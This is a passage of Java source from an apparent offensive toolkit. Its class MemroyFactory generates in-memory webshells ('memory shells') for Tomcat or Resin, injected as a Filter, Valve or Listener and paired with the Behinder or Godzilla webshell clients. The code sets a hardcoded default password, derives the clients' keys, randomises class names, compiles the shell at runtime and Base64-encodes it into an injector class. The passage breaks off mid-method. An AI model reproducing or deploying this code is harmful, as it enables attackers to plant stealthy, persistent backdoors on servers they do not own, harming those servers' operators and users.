| 6 | import java.util.Map; |
| 7 | |
| 8 | public class MemroyFactory { |
| 9 | private static MemroyFactory memroyFactory = null; |
| 10 | |
| 11 | public static MemroyFactory instance() { |
| 12 | if (memroyFactory != null) { |
| 13 | |
| 14 | } else { |
| 15 | memroyFactory = new MemroyFactory(); |
| 16 | } |
| 17 | return memroyFactory; |
| 18 | } |
| 19 | |
| 20 | |
| 21 | /** |
| 22 | * @param type 中间件类型 Tomcat Resin |
| 23 | * @param middleware Filter valve listner 等等 |
| 24 | * @param password 连接密码 |
| 25 | * @param shellType Behinder Godzilla |
| 26 | * @return |
| 27 | */ |
| 28 | public String getMemoryShell(String type, String middleware, String password, String shellType, String path, boolean template) { |
| 29 | try { |
| 30 | String ImplStr = String.format("com.droplab.Utils.Memory.%s.%s.%sImplStr", type, middleware, middleware); |
| 31 | String addStr = String.format("com.droplab.Utils.Memory.%s.%s.add%s", type, middleware, middleware); |
| 32 | |
| 33 | JavaStringCompiler javaStringCompiler = new JavaStringCompiler(); |
| 34 | |
| 35 | /*生成连接密码*/ |
| 36 | if (password.equals("") || password.isEmpty()) { |
| 37 | password = "qax36oNb"; |
| 38 | } |
| 39 | String md5 = CommonUtils.getMD5(password); |
| 40 | String behinder = md5.substring(0, 16); //冰蝎密码 |
| 41 | |
| 42 | /**生成内存马类 |
| 43 | * |
| 44 | */ |
| 45 | String implStrName = CommonUtils.RandomStr(6); |
| 46 | Object o = Class.forName(ImplStr).newInstance(); |
| 47 | String implStr = (String) o.getClass().getMethod("get", Object.class, String.class, boolean.class).invoke(o, o, shellType, template); |
| 48 | String format = ""; |
| 49 | if (shellType.equals("Behinder")) { |
| 50 | format = String.format(implStr, implStrName, implStrName, behinder); |
| 51 | } else if (shellType.equals("Godzilla")) { |
| 52 | format = String.format(implStr, implStrName, implStrName, password, CommonUtils.getMD5(password + "2f2e9f40c6d9fa47")); |
| 53 | } |
| 54 | Map<String, byte[]> compile = javaStringCompiler.compile(implStrName + ".java", format); |
| 55 | byte[] bytes = compile.get(implStrName); |
| 56 | String s = java.util.Base64.getEncoder().encodeToString(bytes); |
| 57 | /** |
| 58 | * 生成注入内存马的类 |
| 59 | */ |
| 60 | String addStrName = CommonUtils.RandomStr(6); |
| 61 | Object o1 = Class.forName(addStr).newInstance(); |
| 62 | String addStrType = (String) o1.getClass().getMethod("get", Object.class, String.class, boolean.class).invoke(o1, o1, type, template); |
| 63 | String format1 = String.format(addStrType, addStrName, addStrName, s); |
| 64 | Map<String, byte[]> compile1 = javaStringCompiler.compile(addStrName + ".java", format1); |
| 65 | byte[] bytes1 = compile1.get(addStrName); |
nothing calls this directly
no outgoing calls
no test coverage detected